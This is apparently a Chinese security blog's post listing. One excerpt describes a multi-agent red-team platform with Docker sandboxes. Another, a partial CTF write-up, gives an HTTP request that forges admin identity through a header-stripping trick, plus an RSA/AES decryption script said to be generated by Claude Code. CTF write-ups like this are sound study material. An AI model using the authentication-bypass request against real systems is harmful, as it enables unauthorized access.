Z3r0:我所设想的红队协作平台

项目背景 最近频繁爆出的高危漏洞,证明了 Agent 在安全领域的能力。而在安全评估场景里,单个的聊天式 Agent 很快会遇到三个现实问题:任务边界不清、工具执行不可控、过程难以复盘。 一次渗透测试、代码审计或逆向分析通常不是“问一次、答一次”的即时任务,而是持续数小时甚至数天的长程任务:需要拆分任务、调用不同工具、保存证据、人工接管验证、恢复中断现场,形成报告并把所有上下文沉淀为可审计记录。Z3r0 想解决的是安全工作里的协同和控制问题,把这些能力收敛到一个受控的安全工作台里:既可以由 Agent 驱动完成自动化情报收集、渗透测试、逆向分析等任务,也可以由人工追踪任务、接管流程。 因此,Z3r0 的核心目标可以概括为: 用多 Agent 分工处理安全任务,用 Docker 沙箱约束工具执行,用持久化事件和上下文投影保证任务过程可恢复、可审计、可复盘。 项目架构 智能体编排 Z3r0 定义了五个核心 Agent: 代号 名称 角色 职责 cso Z3r0 首席安全执行官 任务拆解、协调任务、结果整合 cie L1ly 首席情报工程师 情报收集、资产梳理、关系分析 cpe Fr4nk 首席渗透工程师 渗透测试、漏洞验证、风险确认 cre J4m3 首席逆向工程师 逆向分析、漏洞挖掘、代码审计 cce Nu1L 首席密码工程师 密码协议、算法分析、实现审查 运行时流程 用户在前端发送消息后,链路大致如下: 子任务委派 主 Agent 对于各个子 Agent 的任务委派,作为持久化的后台任务存在。每个子任务都会变成一个持久化后台 job,核心流程是: 当子任务完成后,系统会写入 agent_notifications。主 Agent 不需要主动轮询,运行时会用内部通知 prompt 唤醒它,让它整合子任务结果并继续当前任务的下一步研判、调度。 安全沙箱 Z3r0 基于 Docker 实现了一套沙箱管理机制。沙箱内部集成了 Python、Node、Java 等基础运行时环境和 Nmap、Sqlmap、Ghidra 等常用安全工具,能够让 Agent 在安全、可控的环境里完成各类安全任务。对外还提供了终端、noVNC 和文件管理器,便于用户人工接管沙盒环境,与 Agent 进行任务协同。 ...

2026.05.20 09:42:30 · 1 分钟 · yv1ing

强网杯 2025-Writeup(部分)

SecretVault 审计源代码,发现对 X-User 请求头的提取有逻辑问题,只需要传空头即可伪造成 admin 身份,获取 flag: Payload: GET /dashboard HTTP/1.1 Host: 47.93.103.116:39040 Connection: close,X-User Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJBdXRob3JpemVyIiwic3ViIjoiMSIsImV4cCI6MTc2MDc1ODkwNywibmJmIjoxNzYwNzU1MzA3LCJpYXQiOjE3NjA3NTUzMDcsInVpZCI6IjEifQ.SVosiGo7VXuKuRN-YkQO9EWUt_WAmG7jMAbCRPHfHMs Personal Vault 使用 Lovelymem 工具加载镜像后,直接搜索 flag{ 字符串即可获得 flag: Check-little Claude Code 自行审计生成解密脚本: from Crypto.Util.number import * from Crypto.Util.Padding import unpad from Crypto.Cipher import AES import gmpy2 N = 18795243691459931102679430418438577487182868999316355192329142792373332586982081116157618183340526639820832594356060100434223256500692328397325525717520080923556460823312550686675855168462443732972471029248411895298194999914208659844399140111591879226279321744653193556611846787451047972910648795242491084639500678558330667893360111323258122486680221135246164012614985963764584815966847653119900209852482555918436454431153882157632072409074334094233788430465032930223125694295658614266389920401471772802803071627375280742728932143483927710162457745102593163282789292008750587642545379046283071314559771249725541879213 c = 10533300439600777643268954021939765793377776034841545127500272060105769355397400380934565940944293911825384343828681859639313880125620499839918040578655561456321389174383085564588456624238888480505180939435564595727140532113029361282409382333574306251485795629774577583957179093609859781367901165327940565735323086825447814974110726030148323680609961403138324646232852291416574755593047121480956947869087939071823527722768175903469966103381291413103667682997447846635505884329254225027757330301667560501132286709888787328511645949099996122044170859558132933579900575094757359623257652088436229324185557055090878651740 iv = b'\x91\x16\x04\xb9\xf0RJ\xdd\xf7}\x8cW\xe7n\x81\x8d' ciphertext = bytes.fromhex('bf87027bc63e69d3096365703a6d47b559e0364b1605092b6473ecde6babeff2') p = gmpy2.gcd(c, N) if 1 < p < N: q = N // p e = 3 phi = (p - 1) * (q - 1) d = pow(e, -1, phi) key = pow(c, d, N) aes_key = long_to_bytes(key)[:16] try: cipher = AES.new(key=aes_key, iv=iv, mode=AES.MODE_CBC) plaintext = cipher.decrypt(ciphertext) flag = unpad(plaintext, 16).decode() print(flag) except Exception as e: print(f"[-] AES 解密失败: {e}") The_Interrogation_Room Claude Code 自行审计生成解题脚本: ...

2025.10.19 01:20:32 · 6 分钟 · yv1ing

强网杯 2024-Writeup(部分)

强网杯遗憾收场。 ...

2024.11.03 05:21:21 · 1 分钟 · yv1ing

文件包含漏洞奇技淫巧——session.upload_progress

刷题时遇到的一道题目,一直没有思路,看完 wp 之后学会的新姿势。 ...

2023.09.03 03:27:33 · 2 分钟 · yv1ing

2022 AHU 新生赛题解

第一次当出题人,随便写写吧。 ...

2022.11.03 11:46:03 · 1 分钟 · yv1ing